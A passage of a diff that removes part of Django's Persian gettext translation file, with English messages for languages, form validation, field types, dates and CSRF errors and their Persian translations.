Saeed , 2011 -# Sina Cheraghi , 2011 -msgid "" -msgstr "" -"Project-Id-Version: django\n" -"Report-Msgid-Bugs-To: \n" -"POT-Creation-Date: 2023-09-18 11:41-0300\n" -"PO-Revision-Date: 2023-12-04 06:49+0000\n" -"Last-Translator: ali salehi, 2023\n" -"Language-Team: Persian (http://app.transifex.com/django/django/language/" -"fa/)\n" -"MIME-Version: 1.0\n" -"Content-Type: text/plain; charset=UTF-8\n" -"Content-Transfer-Encoding: 8bit\n" -"Language: fa\n" -"Plural-Forms: nplurals=2; plural=(n > 1);\n" - -msgid "Afrikaans" -msgstr "آفریکانس" - -msgid "Arabic" -msgstr "عربی" - -msgid "Algerian Arabic" -msgstr "عربی الجزایری" - -msgid "Asturian" -msgstr "آستوری" - -msgid "Azerbaijani" -msgstr "آذربایجانی" - -msgid "Bulgarian" -msgstr "بلغاری" - -msgid "Belarusian" -msgstr "بلاروس" - -msgid "Bengali" -msgstr "بنگالی" - -msgid "Breton" -msgstr "برتون" - -msgid "Bosnian" -msgstr "بوسنیایی" - -msgid "Catalan" -msgstr "کاتالونیایی" - -msgid "Central Kurdish (Sorani)" -msgstr "" - -msgid "Czech" -msgstr "چکی" - -msgid "Welsh" -msgstr "ویلزی" - -msgid "Danish" -msgstr "دانمارکی" - -msgid "German" -msgstr "آلمانی" - -msgid "Lower Sorbian" -msgstr "صربستانی پایین" - -msgid "Greek" -msgstr "یونانی" - -msgid "English" -msgstr "انگلیسی" - -msgid "Australian English" -msgstr "انگلیسی استرالیایی" - -msgid "British English" -msgstr "انگلیسی بریتیش" - -msgid "Esperanto" -msgstr "اسپرانتو" - -msgid "Spanish" -msgstr "اسپانیایی" - -msgid "Argentinian Spanish" -msgstr "اسپانیایی آرژانتینی" - -msgid "Colombian Spanish" -msgstr "اسپانیایی کلمبیایی" - -msgid "Mexican Spanish" -msgstr "اسپانیولی مکزیکی" - -msgid "Nicaraguan Spanish" -msgstr "نیکاراگوئه اسپانیایی" - -msgid "Venezuelan Spanish" -msgstr "ونزوئلا اسپانیایی" - -msgid "Estonian" -msgstr "استونی" - -msgid "Basque" -msgstr "باسکی" - -msgid "Persian" -msgstr "فارسی" - -msgid "Finnish" -msgstr "فنلاندی" - -msgid "French" -msgstr "فرانسوی" - -msgid "Frisian" -msgstr "فریزی" - -msgid "Irish" -msgstr "ایرلندی" - -msgid "Scottish Gaelic" -msgstr "گیلیک اسکاتلندی" - -msgid "Galician" -msgstr "گالیسیایی" - -msgid "Hebrew" -msgstr "عبری" - -msgid "Hindi" -msgstr "هندی" - -msgid "Croatian" -msgstr "کرواتی" - -msgid "Upper Sorbian" -msgstr "صربستانی بالا" - -msgid "Hungarian" -msgstr "مجاری" - -msgid "Armenian" -msgstr "ارمنی" - -msgid "Interlingua" -msgstr "اینترلینگوا" - -msgid "Indonesian" -msgstr "اندونزیایی" - -msgid "Igbo" -msgstr "ایگبو" - -msgid "Ido" -msgstr "ایدو" - -msgid "Icelandic" -msgstr "ایسلندی" - -msgid "Italian" -msgstr "ایتالیایی" - -msgid "Japanese" -msgstr "ژاپنی" - -msgid "Georgian" -msgstr "گرجی" - -msgid "Kabyle" -msgstr "قبایلی" - -msgid "Kazakh" -msgstr "قزاقستان" - -msgid "Khmer" -msgstr "خمری" - -msgid "Kannada" -msgstr "کناده‌ای" - -msgid "Korean" -msgstr "کره‌ای" - -msgid "Kyrgyz" -msgstr "قرقیزی" - -msgid "Luxembourgish" -msgstr "لوگزامبورگی" - -msgid "Lithuanian" -msgstr "لیتوانی" - -msgid "Latvian" -msgstr "لتونیایی" - -msgid "Macedonian" -msgstr "مقدونی" - -msgid "Malayalam" -msgstr "مالایایی" - -msgid "Mongolian" -msgstr "مغولی" - -msgid "Marathi" -msgstr "مِراتی" - -msgid "Malay" -msgstr "Malay" - -msgid "Burmese" -msgstr "برمه‌ای" - -msgid "Norwegian Bokmål" -msgstr "نروژی" - -msgid "Nepali" -msgstr "نپالی" - -msgid "Dutch" -msgstr "هلندی" - -msgid "Norwegian Nynorsk" -msgstr "نروژی Nynorsk" - -msgid "Ossetic" -msgstr "آسی" - -msgid "Punjabi" -msgstr "پنجابی" - -msgid "Polish" -msgstr "لهستانی" - -msgid "Portuguese" -msgstr "پرتغالی" - -msgid "Brazilian Portuguese" -msgstr "پرتغالیِ برزیل" - -msgid "Romanian" -msgstr "رومانی" - -msgid "Russian" -msgstr "روسی" - -msgid "Slovak" -msgstr "اسلواکی" - -msgid "Slovenian" -msgstr "اسلووِنی" - -msgid "Albanian" -msgstr "آلبانیایی" - -msgid "Serbian" -msgstr "صربی" - -msgid "Serbian Latin" -msgstr "صربی لاتین" - -msgid "Swedish" -msgstr "سوئدی" - -msgid "Swahili" -msgstr "سواحیلی" - -msgid "Tamil" -msgstr "تامیلی" - -msgid "Telugu" -msgstr "تلوگویی" - -msgid "Tajik" -msgstr "تاجیک" - -msgid "Thai" -msgstr "تایلندی" - -msgid "Turkmen" -msgstr "ترکمن" - -msgid "Turkish" -msgstr "ترکی" - -msgid "Tatar" -msgstr "تاتار" - -msgid "Udmurt" -msgstr "ادمورت" - -msgid "Uyghur" -msgstr "" - -msgid "Ukrainian" -msgstr "اکراینی" - -msgid "Urdu" -msgstr "اردو" - -msgid "Uzbek" -msgstr "ازبکی" - -msgid "Vietnamese" -msgstr "ویتنامی" - -msgid "Simplified Chinese" -msgstr "چینی ساده‌شده" - -msgid "Traditional Chinese" -msgstr "چینی سنتی" - -msgid "Messages" -msgstr "پیغام‌ها" - -msgid "Site Maps" -msgstr "نقشه‌های وب‌گاه" - -msgid "Static Files" -msgstr "پرونده‌های استاتیک" - -msgid "Syndication" -msgstr "پیوند" - -#. Translators: String used to replace omitted page numbers in elided page -#. range generated by paginators, e.g. [1, 2, '…', 5, 6, 7, '…', 9, 10]. -msgid "…" -msgstr "…" - -msgid "That page number is not an integer" -msgstr "شمارهٔ صفحه یک عدد طبیعی نیست" - -msgid "That page number is less than 1" -msgstr "شمارهٔ صفحه کوچکتر از ۱ است" - -msgid "That page contains no results" -msgstr "این صفحه خالی از اطلاعات است" - -msgid "Enter a valid value." -msgstr "یک مقدار معتبر وارد کنید." - -msgid "Enter a valid URL." -msgstr "یک نشانی اینترنتی معتبر وارد کنید." - -msgid "Enter a valid integer." -msgstr "یک عدد معتبر وارد کنید." - -msgid "Enter a valid email address." -msgstr "یک ایمیل آدرس معتبر وارد کنید." - -#. Translators: "letters" means latin letters: a-z and A-Z. -msgid "" -"Enter a valid “slug” consisting of letters, numbers, underscores or hyphens." -msgstr "" -"یک \"اسلاگ\" معتبر متشکل از حروف، اعداد، خط زیر یا خط فاصله، وارد کنید. " - -msgid "" -"Enter a valid “slug” consisting of Unicode letters, numbers, underscores, or " -"hyphens." -msgstr "" -"یک \"اسلاگ\" معتبر وارد کنید که شامل حروف یونیکد، اعداد، خط زیر یا خط فاصله " -"باشد." - -msgid "Enter a valid IPv4 address." -msgstr "یک نشانی IPv4 معتبر وارد کنید." - -msgid "Enter a valid IPv6 address." -msgstr "یک آدرس معتبر IPv6 وارد کنید." - -msgid "Enter a valid IPv4 or IPv6 address." -msgstr "IPv4 یا IPv6 آدرس معتبر وارد کنید." - -msgid "Enter only digits separated by commas." -msgstr "فقط ارقام جدا شده با کاما وارد کنید." - -#, python-format -msgid "Ensure this value is %(limit_value)s (it is %(show_value)s)." -msgstr "مطمئن شوید مقدار %(limit_value)s است. (اکنون %(show_value)s می باشد)." - -#, python-format -msgid "Ensure this value is less than or equal to %(limit_value)s." -msgstr "مطمئن شوید این مقدار کوچکتر و یا مساوی %(limit_value)s است." - -#, python-format -msgid "Ensure this value is greater than or equal to %(limit_value)s." -msgstr "مطمئن شوید این مقدار بزرگتر و یا مساوی %(limit_value)s است." - -#, python-format -msgid "Ensure this value is a multiple of step size %(limit_value)s." -msgstr "" - -#, python-format -msgid "" -"Ensure this value is a multiple of step size %(limit_value)s, starting from " -"%(offset)s, e.g. %(offset)s, %(valid_value1)s, %(valid_value2)s, and so on." -msgstr "" - -#, python-format -msgid "" -"Ensure this value has at least %(limit_value)d character (it has " -"%(show_value)d)." -msgid_plural "" -"Ensure this value has at least %(limit_value)d characters (it has " -"%(show_value)d)." -msgstr[0] "" -"طول این مقدار باید حداقل %(limit_value)d کاراکتر باشد (طولش %(show_value)d " -"است)." -msgstr[1] "" -"طول این مقدار باید حداقل %(limit_value)d کاراکتر باشد (طولش %(show_value)d " -"است)." - -#, python-format -msgid "" -"Ensure this value has at most %(limit_value)d character (it has " -"%(show_value)d)." -msgid_plural "" -"Ensure this value has at most %(limit_value)d characters (it has " -"%(show_value)d)." -msgstr[0] "" -"طول این مقدار باید حداکثر %(limit_value)d کاراکتر باشد (طولش %(show_value)d " -"است)." -msgstr[1] "" -"طول این مقدار باید حداکثر %(limit_value)d کاراکتر باشد (طولش %(show_value)d " -"است)." - -msgid "Enter a number." -msgstr "یک عدد وارد کنید." - -#, python-format -msgid "Ensure that there are no more than %(max)s digit in total." -msgid_plural "Ensure that there are no more than %(max)s digits in total." -msgstr[0] "نباید در مجموع بیش از %(max)s رقم داشته باشد." -msgstr[1] "نباید در مجموع بیش از %(max)s رقم داشته باشد." - -#, python-format -msgid "Ensure that there are no more than %(max)s decimal place." -msgid_plural "Ensure that there are no more than %(max)s decimal places." -msgstr[0] "نباید بیش از %(max)s رقم اعشار داشته باشد." -msgstr[1] "نباید بیش از %(max)s رقم اعشار داشته باشد." - -#, python-format -msgid "" -"Ensure that there are no more than %(max)s digit before the decimal point." -msgid_plural "" -"Ensure that there are no more than %(max)s digits before the decimal point." -msgstr[0] "نباید بیش از %(max)s رقم قبل ممیز داشته باشد." -msgstr[1] "نباید بیش از %(max)s رقم قبل ممیز داشته باشد." - -#, python-format -msgid "" -"File extension “%(extension)s” is not allowed. Allowed extensions are: " -"%(allowed_extensions)s." -msgstr "" -"استفاده از پرونده با پسوند '%(extension)s' مجاز نیست. پسوند‌های مجاز عبارتند " -"از: '%(allowed_extensions)s'" - -msgid "Null characters are not allowed." -msgstr "کاراکترهای تهی مجاز نیستند." - -msgid "and" -msgstr "و" - -#, python-format -msgid "%(model_name)s with this %(field_labels)s already exists." -msgstr "‏%(model_name)s با این %(field_labels)s وجود دارد." - -#, python-format -msgid "Constraint “%(name)s” is violated." -msgstr "" - -#, python-format -msgid "Value %(value)r is not a valid choice." -msgstr "مقدار %(value)r انتخاب معتبری نیست. " - -msgid "This field cannot be null." -msgstr "این فیلد نمی تواند پوچ باشد." - -msgid "This field cannot be blank." -msgstr "این فیلد نمی تواند خالی باشد." - -#, python-format -msgid "%(model_name)s with this %(field_label)s already exists." -msgstr "%(model_name)s با این %(field_label)s از قبل موجود است." - -#. Translators: The 'lookup_type' is one of 'date', 'year' or -#. 'month'. Eg: "Title must be unique for pub_date year" -#, python-format -msgid "" -"%(field_label)s must be unique for %(date_field_label)s %(lookup_type)s." -msgstr "" -"‏%(field_label)s باید برای %(lookup_type)s %(date_field_label)s یکتا باشد." - -#, python-format -msgid "Field of type: %(field_type)s" -msgstr "فیلد با نوع: %(field_type)s" - -#, python-format -msgid "“%(value)s” value must be either True or False." -msgstr "مقدار «%(value)s» باید True یا False باشد." - -#, python-format -msgid "“%(value)s” value must be either True, False, or None." -msgstr "مقدار «%(value)s» باید True یا False یا None باشد." - -msgid "Boolean (Either True or False)" -msgstr "بولی (درست یا غلط)" - -#, python-format -msgid "String (up to %(max_length)s)" -msgstr "رشته (تا %(max_length)s)" - -msgid "String (unlimited)" -msgstr "رشته (بی نهایت)" - -msgid "Comma-separated integers" -msgstr "اعداد صحیح جدا-شده با ویلگول" - -#, python-format -msgid "" -"“%(value)s” value has an invalid date format. It must be in YYYY-MM-DD " -"format." -msgstr "" -"مقدار «%(value)s» در قالب نادرستی وارد شده است. تاریخ باید در قالب YYYY-MM-" -"DD باشد." - -#, python-format -msgid "" -"“%(value)s” value has the correct format (YYYY-MM-DD) but it is an invalid " -"date." -msgstr "" -"مقدار تاریخ «%(value)s» با اینکه در قالب درستی (YYYY-MM-DD) است ولی تاریخ " -"ناممکنی را نشان می‌دهد." - -msgid "Date (without time)" -msgstr "تاریخ (بدون زمان)" - -#, python-format -msgid "" -"“%(value)s” value has an invalid format. It must be in YYYY-MM-DD HH:MM[:ss[." -"uuuuuu]][TZ] format." -msgstr "" -"مقدار \"%(value)s\" یک قالب نامعتبر دارد. باید در قالب YYYY-MM-DD HH:MM[:" -"ss[.uuuuuu]][TZ] باشد." - -#, python-format -msgid "" -"“%(value)s” value has the correct format (YYYY-MM-DD HH:MM[:ss[.uuuuuu]]" -"[TZ]) but it is an invalid date/time." -msgstr "" -"مقدار \"%(value)s\" یک قالب معتبر دارد (YYYY-MM-DD HH:MM[:ss[.uuuuuu]][TZ]) " -"اما یک تاریخ/زمان نامعتبر است." - -msgid "Date (with time)" -msgstr "تاریخ (با زمان)" - -#, python-format -msgid "“%(value)s” value must be a decimal number." -msgstr "مقدار '%(value)s' باید عدد دسیمال باشد." - -msgid "Decimal number" -msgstr "عدد دهدهی" - -#, python-format -msgid "" -"“%(value)s” value has an invalid format. It must be in [DD] [[HH:]MM:]ss[." -"uuuuuu] format." -msgstr "" -"مقدار «%(value)s» در قالب نادرستی وارد شده است. باید در قالب ‎[DD] [HH:" -"[MM:]]ss[.uuuuuu]‎ باشد." - -msgid "Duration" -msgstr "بازهٔ زمانی" - -msgid "Email address" -msgstr "نشانی پست الکترونیکی" - -msgid "File path" -msgstr "مسیر پرونده" - -#, python-format -msgid "“%(value)s” value must be a float." -msgstr "مقدار «%(value)s» باید عدد اعشاری فلوت باشد." - -msgid "Floating point number" -msgstr "عدد اعشاری" - -#, python-format -msgid "“%(value)s” value must be an integer." -msgstr "مقدار «%(value)s» باید عدد حقیقی باشد." - -msgid "Integer" -msgstr "عدد صحیح" - -msgid "Big (8 byte) integer" -msgstr "بزرگ (8 بایت) عدد صحیح" - -msgid "Small integer" -msgstr "عدد صحیح کوچک" - -msgid "IPv4 address" -msgstr "IPv4 آدرس" - -msgid "IP address" -msgstr "نشانی IP" - -#, python-format -msgid "“%(value)s” value must be either None, True or False." -msgstr "مقدار «%(value)s» باید True یا False یا None باشد." - -msgid "Boolean (Either True, False or None)" -msgstr "‌بولی (درست، نادرست یا پوچ)" - -msgid "Positive big integer" -msgstr "عدد صحیح مثبت" - -msgid "Positive integer" -msgstr "عدد صحیح مثبت" - -msgid "Positive small integer" -msgstr "مثبت عدد صحیح کوچک" - -#, python-format -msgid "Slug (up to %(max_length)s)" -msgstr "تیتر (حداکثر %(max_length)s)" - -msgid "Text" -msgstr "متن" - -#, python-format -msgid "" -"“%(value)s” value has an invalid format. It must be in HH:MM[:ss[.uuuuuu]] " -"format." -msgstr "" -"مقدار «%(value)s» در قالب نادرستی وارد شده است. باید در قالب HH:MM[:ss[." -"uuuuuu]]‎ باشد." - -#, python-format -msgid "" -"“%(value)s” value has the correct format (HH:MM[:ss[.uuuuuu]]) but it is an " -"invalid time." -msgstr "" -"مقدار «%(value)s» با اینکه در قالب درستی (HH:MM[:ss[.uuuuuu]]‎) است ولی زمان " -"ناممکنی را نشان می‌دهد." - -msgid "Time" -msgstr "زمان" - -msgid "URL" -msgstr "نشانی اینترنتی" - -msgid "Raw binary data" -msgstr "دادهٔ دودویی خام" - -#, python-format -msgid "“%(value)s” is not a valid UUID." -msgstr "\"%(value)s\" یک UUID معتبر نیست." - -msgid "Universally unique identifier" -msgstr "شناسه منحصر به فرد سراسری" - -msgid "File" -msgstr "پرونده" - -msgid "Image" -msgstr "تصویر" - -msgid "A JSON object" -msgstr "یک شیء JSON" - -msgid "Value must be valid JSON." -msgstr "مقدار، باید یک JSON معتبر باشد." - -#, python-format -msgid "%(model)s instance with %(field)s %(value)r does not exist." -msgstr "%(model)s با %(field)s %(value)r وجود ندارد." - -msgid "Foreign Key (type determined by related field)" -msgstr "کلید خارجی ( نوع بر اساس فیلد رابط مشخص میشود )" - -msgid "One-to-one relationship" -msgstr "رابطه یک به یک " - -#, python-format -msgid "%(from)s-%(to)s relationship" -msgstr "رابطه %(from)s به %(to)s" - -#, python-format -msgid "%(from)s-%(to)s relationships" -msgstr "روابط %(from)s به %(to)s" - -msgid "Many-to-many relationship" -msgstr "رابطه چند به چند" - -#. Translators: If found as last label character, these punctuation -#. characters will prevent the default label_suffix to be appended to the -#. label -msgid ":?.!" -msgstr ":؟.!" - -msgid "This field is required." -msgstr "این فیلد لازم است." - -msgid "Enter a whole number." -msgstr "به طور کامل یک عدد وارد کنید." - -msgid "Enter a valid date." -msgstr "یک تاریخ معتبر وارد کنید." - -msgid "Enter a valid time." -msgstr "یک زمان معتبر وارد کنید." - -msgid "Enter a valid date/time." -msgstr "یک تاریخ/زمان معتبر وارد کنید." - -msgid "Enter a valid duration." -msgstr "یک بازهٔ زمانی معتبر وارد کنید." - -#, python-brace-format -msgid "The number of days must be between {min_days} and {max_days}." -msgstr "عدد روز باید بین {min_days} و {max_days} باشد." - -msgid "No file was submitted. Check the encoding type on the form." -msgstr "پرونده‌ای ارسال نشده است. نوع کدگذاری فرم را بررسی کنید." - -msgid "No file was submitted." -msgstr "پرونده‌ای ارسال نشده است." - -msgid "The submitted file is empty." -msgstr "پروندهٔ ارسال‌شده خالیست." - -#, python-format -msgid "Ensure this filename has at most %(max)d character (it has %(length)d)." -msgid_plural "" -"Ensure this filename has at most %(max)d characters (it has %(length)d)." -msgstr[0] "" -"طول عنوان پرونده باید حداقل %(max)d کاراکتر باشد (طولش %(length)d است)." -msgstr[1] "" -"طول عنوان پرونده باید حداقل %(max)d کاراکتر باشد (طولش %(length)d است)." - -msgid "Please either submit a file or check the clear checkbox, not both." -msgstr "لطفا یا فایل ارسال کنید یا دکمه پاک کردن را علامت بزنید، نه هردو." - -msgid "" -"Upload a valid image. The file you uploaded was either not an image or a " -"corrupted image." -msgstr "" -"یک تصویر معتبر بارگذاری کنید. پرونده‌ای که بارگذاری کردید یا تصویر نبوده و یا " -"تصویری مخدوش بوده است." - -#, python-format -msgid "Select a valid choice. %(value)s is not one of the available choices." -msgstr "یک گزینهٔ معتبر انتخاب کنید. %(value)s از گزینه‌های موجود نیست." - -msgid "Enter a list of values." -msgstr "فهرستی از مقادیر وارد کنید." - -msgid "Enter a complete value." -msgstr "یک مقدار کامل وارد کنید." - -msgid "Enter a valid UUID." -msgstr "یک UUID معتبر وارد کنید." - -msgid "Enter a valid JSON." -msgstr "یک JSON معتبر وارد کنید" - -#. Translators: This is the default suffix added to form field labels -msgid ":" -msgstr ":" - -#, python-format -msgid "(Hidden field %(name)s) %(error)s" -msgstr "(فیلد پنهان %(name)s) %(error)s" - -#, python-format -msgid "" -"ManagementForm data is missing or has been tampered with. Missing fields: " -"%(field_names)s. You may need to file a bug report if the issue persists." -msgstr "" -"اطلاعات ManagementForm مفقود یا دستکاری شده است. ردیف های مفقود شده: " -"%(field_names)s. اگر این مشکل ادامه داشت، آن را گزارش کنید." - -#, python-format -msgid "Please submit at most %(num)d form." -msgid_plural "Please submit at most %(num)d forms." -msgstr[0] "" -msgstr[1] "" - -#, python-format -msgid "Please submit at least %(num)d form." -msgid_plural "Please submit at least %(num)d forms." -msgstr[0] "" -msgstr[1] "" - -msgid "Order" -msgstr "ترتیب:" - -msgid "Delete" -msgstr "حذف" - -#, python-format -msgid "Please correct the duplicate data for %(field)s." -msgstr "لطفا محتوی تکراری برای %(field)s را اصلاح کنید." - -#, python-format -msgid "Please correct the duplicate data for %(field)s, which must be unique." -msgstr "لطفا محتوی تکراری برای %(field)s را که باید یکتا باشد اصلاح کنید." - -#, python-format -msgid "" -"Please correct the duplicate data for %(field_name)s which must be unique " -"for the %(lookup)s in %(date_field)s." -msgstr "" -"لطفا اطلاعات تکراری %(field_name)s را اصلاح کنید که باید در %(lookup)s " -"یکتا باشد %(date_field)s." - -msgid "Please correct the duplicate values below." -msgstr "لطفا مقدار تکراری را اصلاح کنید." - -msgid "The inline value did not match the parent instance." -msgstr "مقدار درون خطی موجود با نمونه والد آن مطابقت ندارد." - -msgid "Select a valid choice. That choice is not one of the available choices." -msgstr "یک گزینهٔ معتبر انتخاب کنید. آن گزینه از گزینه‌های موجود نیست." - -#, python-format -msgid "“%(pk)s” is not a valid value." -msgstr "\"%(pk)s\" یک مقدار معتبر نیست." - -#, python-format -msgid "" -"%(datetime)s couldn’t be interpreted in time zone %(current_timezone)s; it " -"may be ambiguous or it may not exist." -msgstr "" -"%(datetime)sدر محدوده زمانی %(current_timezone)s، قابل تفسیر نیست؛ ممکن است " -"نامشخص باشد یا اصلاً وجود نداشته باشد." - -msgid "Clear" -msgstr "پاک کردن" - -msgid "Currently" -msgstr "در حال حاضر" - -msgid "Change" -msgstr "تغییر" - -msgid "Unknown" -msgstr "ناشناخته" - -msgid "Yes" -msgstr "بله" - -msgid "No" -msgstr "خیر" - -#. Translators: Please do not add spaces around commas. -msgid "yes,no,maybe" -msgstr "بله،خیر،شاید" - -#, python-format -msgid "%(size)d byte" -msgid_plural "%(size)d bytes" -msgstr[0] "%(size)d بایت" -msgstr[1] "%(size)d بایت" - -#, python-format -msgid "%s KB" -msgstr "%s KB" - -#, python-format -msgid "%s MB" -msgstr "%s MB" - -#, python-format -msgid "%s GB" -msgstr "%s GB" - -#, python-format -msgid "%s TB" -msgstr "%s TB" - -#, python-format -msgid "%s PB" -msgstr "%s PB" - -msgid "p.m." -msgstr "ب.ظ." - -msgid "a.m." -msgstr "صبح" - -msgid "PM" -msgstr "بعد از ظهر" - -msgid "AM" -msgstr "صبح" - -msgid "midnight" -msgstr "نیمه شب" - -msgid "noon" -msgstr "ظهر" - -msgid "Monday" -msgstr "دوشنبه" - -msgid "Tuesday" -msgstr "سه شنبه" - -msgid "Wednesday" -msgstr "چهارشنبه" - -msgid "Thursday" -msgstr "پنجشنبه" - -msgid "Friday" -msgstr "جمعه" - -msgid "Saturday" -msgstr "شنبه" - -msgid "Sunday" -msgstr "یکشنبه" - -msgid "Mon" -msgstr "دوشنبه" - -msgid "Tue" -msgstr "سه‌شنبه" - -msgid "Wed" -msgstr "چهارشنبه" - -msgid "Thu" -msgstr "پنجشنبه" - -msgid "Fri" -msgstr "جمعه" - -msgid "Sat" -msgstr "شنبه" - -msgid "Sun" -msgstr "یکشنبه" - -msgid "January" -msgstr "ژانویه" - -msgid "February" -msgstr "فوریه" - -msgid "March" -msgstr "مارس" - -msgid "April" -msgstr "آوریل" - -msgid "May" -msgstr "مه" - -msgid "June" -msgstr "ژوئن" - -msgid "July" -msgstr "ژوئیه" - -msgid "August" -msgstr "اوت" - -msgid "September" -msgstr "سپتامبر" - -msgid "October" -msgstr "اکتبر" - -msgid "November" -msgstr "نوامبر" - -msgid "December" -msgstr "دسامبر" - -msgid "jan" -msgstr "ژانویه" - -msgid "feb" -msgstr "فوریه" - -msgid "mar" -msgstr "مارس" - -msgid "apr" -msgstr "آوریل" - -msgid "may" -msgstr "مه" - -msgid "jun" -msgstr "ژوئن" - -msgid "jul" -msgstr "ژوئیه" - -msgid "aug" -msgstr "اوت" - -msgid "sep" -msgstr "سپتامبر" - -msgid "oct" -msgstr "اکتبر" - -msgid "nov" -msgstr "نوامبر" - -msgid "dec" -msgstr "دسامبر" - -msgctxt "abbrev. month" -msgid "Jan." -msgstr "ژانویه" - -msgctxt "abbrev. month" -msgid "Feb." -msgstr "فوریه" - -msgctxt "abbrev. month" -msgid "March" -msgstr "مارس" - -msgctxt "abbrev. month" -msgid "April" -msgstr "آوریل" - -msgctxt "abbrev. month" -msgid "May" -msgstr "مه" - -msgctxt "abbrev. month" -msgid "June" -msgstr "ژوئن" - -msgctxt "abbrev. month" -msgid "July" -msgstr "جولای" - -msgctxt "abbrev. month" -msgid "Aug." -msgstr "اوت" - -msgctxt "abbrev. month" -msgid "Sept." -msgstr "سپتامبر" - -msgctxt "abbrev. month" -msgid "Oct." -msgstr "اکتبر" - -msgctxt "abbrev. month" -msgid "Nov." -msgstr "نوامبر" - -msgctxt "abbrev. month" -msgid "Dec." -msgstr "دسامبر" - -msgctxt "alt. month" -msgid "January" -msgstr "ژانویه" - -msgctxt "alt. month" -msgid "February" -msgstr "فوریه" - -msgctxt "alt. month" -msgid "March" -msgstr "مارس" - -msgctxt "alt. month" -msgid "April" -msgstr "آوریل" - -msgctxt "alt. month" -msgid "May" -msgstr "مه" - -msgctxt "alt. month" -msgid "June" -msgstr "ژوئن" - -msgctxt "alt. month" -msgid "July" -msgstr "جولای" - -msgctxt "alt. month" -msgid "August" -msgstr "اوت" - -msgctxt "alt. month" -msgid "September" -msgstr "سپتامبر" - -msgctxt "alt. month" -msgid "October" -msgstr "اکتبر" - -msgctxt "alt. month" -msgid "November" -msgstr "نوامبر" - -msgctxt "alt. month" -msgid "December" -msgstr "دسامبر" - -msgid "This is not a valid IPv6 address." -msgstr "این مقدار آدرس IPv6 معتبری نیست." - -#, python-format -msgctxt "String to return when truncating text" -msgid "%(truncated_text)s…" -msgstr "%(truncated_text)s…" - -msgid "or" -msgstr "یا" - -#. Translators: This string is used as a separator between list elements -msgid ", " -msgstr "،" - -#, python-format -msgid "%(num)d year" -msgid_plural "%(num)d years" -msgstr[0] "%(num)d سال" -msgstr[1] "%(num)d سال" - -#, python-format -msgid "%(num)d month" -msgid_plural "%(num)d months" -msgstr[0] "%(num)d ماه" -msgstr[1] "%(num)d ماه" - -#, python-format -msgid "%(num)d week" -msgid_plural "%(num)d weeks" -msgstr[0] "%(num)d هفته" -msgstr[1] "%(num)d هفته" - -#, python-format -msgid "%(num)d day" -msgid_plural "%(num)d days" -msgstr[0] "%(num)d روز" -msgstr[1] "%(num)d روز" - -#, python-format -msgid "%(num)d hour" -msgid_plural "%(num)d hours" -msgstr[0] "%(num)d ساعت" -msgstr[1] "%(num)d ساعت" - -#, python-format -msgid "%(num)d minute" -msgid_plural "%(num)d minutes" -msgstr[0] "%(num)d دقیقه" -msgstr[1] "%(num)d دقیقه" - -msgid "Forbidden" -msgstr "ممنوع" - -msgid "CSRF verification failed. Request aborted." -msgstr "‏CSRF تأیید نشد. درخواست لغو شد." - -msgid "" -"You are seeing this message because this HTTPS site requires a “Referer " -"header” to be sent by your web browser, but none was sent. This header is " -"required for security reasons, to ensure that your browser is not being " -"hijacked by third parties." -msgstr "" -"شما این پیغام را مشاهده میکنید برای اینکه این HTTPS site نیازمند یک " -"\"Referer header\" برای ارسال توسط مرورگر شما دارد،‌اما مقداری ارسال " -"نمیشود . این هدر الزامی میباشد برای امنیت ، در واقع برای اینکه مرورگر شما " -"مطمین شود hijack به عنوان نفر سوم (third parties) در میان نیست" - -msgid "" -"If you have configured your browser to disable “Referer” headers, please re-" -"enable them, at least for this site, or for HTTPS connections, or for “same-" -"origin” requests." -msgstr "" -"اگر در مرورگر خود سر تیتر \"Referer\" را غیرفعال کرده‌اید، لطفاً آن را فعال " -"کنید، یا حداقل برای این وب‌گاه یا برای ارتباطات HTTPS و یا برای درخواست‌های " -"\"Same-origin\" فعال کنید." - -msgid "" -"If you are using the tag or " -"including the “Referrer-Policy: no-referrer” header, please remove them. The " -"CSRF protection requires the “Referer” header to do strict referer checking. " -"If you’re concerned about privacy, use alternatives like for links to third-party sites." -msgstr "" -"اگر شما از تگ استفاده " -"می‌کنید یا سر تیتر \"Referrer-Policy: no-referrer\" را اضافه کرده‌اید، لطفاً " -"آن را حذف کنید. محافظ CSRF به سرتیتر \"Referer\" نیاز دارد تا بتواند بررسی " -"سخت‌گیرانه ارجاع دهنده را انجام دهد. اگر ملاحظاتی در مورد حریم خصوصی دارید از " -"روش‎‌های جایگزین مانند برای ارجاع دادن به وب‌گاه‌های " -"شخص ثالث استفاده کنید." - -msgid "" -"You are seeing this message because this site requires a CSRF cookie when " -"submitting forms. This cookie is required for security reasons, to ensure " -"that your browser is not being hijacked by third parties." -msgstr "" -"شما این پیام را میبینید چون این سایت نیازمند کوکی «جعل درخواست میان وبگاهی " -"(CSRF)» است. این کوکی برای امنیت شما ضروری است. با این کوکی می‌توانیم از " -"اینکه شخص ثالثی کنترل مرورگرتان را به دست نگرفته است اطمینان پیدا کنیم." - -msgid "" -"If you have configured your browser to disable cookies, please re-enable " -"them, at least for this site, or for “same-origin” requests." -msgstr "" -"اگر مرورگر خود را تنظیم کرده‌اید که کوکی غیرفعال باشد، لطفاً مجدداً آن را فعال " -"کنید؛ حداقل برای این وب‌گاه یا برای درخواست‌های \"same-origin\"." - -msgid "More information is available with DEBUG=True." -msgstr "اطلاعات بیشتر با DEBUG=True ارائه خواهد شد." - -msgid "No year specified" -msgstr "هیچ سالی مشخص نشده است" - -msgid "Date out of range" -msgstr "تاریخ غیرمجاز است" - -msgid "No month specified" -msgstr "هیچ ماهی مشخص نشده است" - -msgid "No day specified" -msgstr "هیچ روزی مشخص نشده است" - -msgid "No week specified" -msgstr "هیچ هفته‌ای مشخص نشده است" - -#, python-format -msgid "No %(verbose_name_plural)s available" -msgstr "هیچ %(verbose_name_plural)s موجود نیست" - -#, python-format -msgid "" -"Future %(verbose_name_plural)s not available because %(class_name)s." -"allow_future is False." -msgstr "" -"آینده %(verbose_name_plural)s امکان پذیر نیست زیرا مقدار %(class_name)s." -"allow_future برابر False تنظیم شده است." - -#, python-format -msgid "Invalid date string “%(datestr)s” given format “%(format)s”" -msgstr "نوشته تاریخ \"%(datestr)s\" در قالب \"%(format)s\" نامعتبر است" - -#, python-format -msgid "No %(verbose_name)s found matching the query" -msgstr "هیچ %(verbose_name)s ای مطابق جستجو پیدا نشد." - -msgid "Page is not “last”, nor can it be converted to an int." -msgstr "صفحه \"آخرین\" نیست یا شماره صفحه قابل ترجمه به یک عدد صحیح نیست." - -#, python-format -msgid "Invalid page (%(page_number)s): 